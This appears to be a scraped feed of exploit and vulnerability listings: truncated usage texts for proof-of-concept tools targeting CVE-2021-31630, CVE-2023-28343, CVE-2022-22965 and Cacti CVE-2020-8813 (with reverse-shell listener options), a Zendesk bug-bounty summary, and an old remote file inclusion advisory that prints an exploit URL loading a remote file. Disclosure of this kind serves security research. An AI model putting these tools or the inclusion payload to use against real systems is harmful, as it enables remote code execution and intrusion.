CVE-2021-31630

CVE-2021-31630 Modified the PoC CVE-2021-31630 script by Fellipe Oliveira for HTB Usage 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2023-28343

CVE-2023-28343 CVE-2023-28343 POC exploit Usage root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, supports batch scanning Usage root@kitploit: -a string Reverse listening address -b Whether to display banner default true -c string Command default "ls" -p int Reverse listening port -poc Whether to only perform POC scan, default scan only POC default true -r Whether to...

Cacti-CVE-2020-8813

Cacti-CVE-2020-8813 root@kitploit: Usage: cactirce.py options Options: -h, --help show this help message and exit -u URL, --url=URL Required target URL eg:. http://Cacti/ -l LHOST, --lhost=LHOST Required Attacker IP addr -p LPORT, --lport=LPORT Default 443 Attacker IP Port Ejemplo: root@kitploit:...

Zendesk: "Test target" of the "HTTP target" extension can unintentionally send username and password in the Authorization header

Summary: In certain conditions, the HTTP target extension is sending the username and password of the authenticated user testing the target in the test request's Authorization header as base64 encoded i.e. HTTP basic auth. I have graded this as a medium due to some mitigating circumstances browse...

Beautifier 0.1 (Core.php) Remote File Include Vulnerability

No description provided by source. Beautifier v0.1 Remote File Inclusion Vulnerability Download: http://www.beautifier.org/php/beautifier-php-full-current.tar.gz Found By: the master exploit: http://Target/Path/Beautifier/Core.php?BEAUTPATH=http://cmd.gif? milw0rm.com 2006-09-06...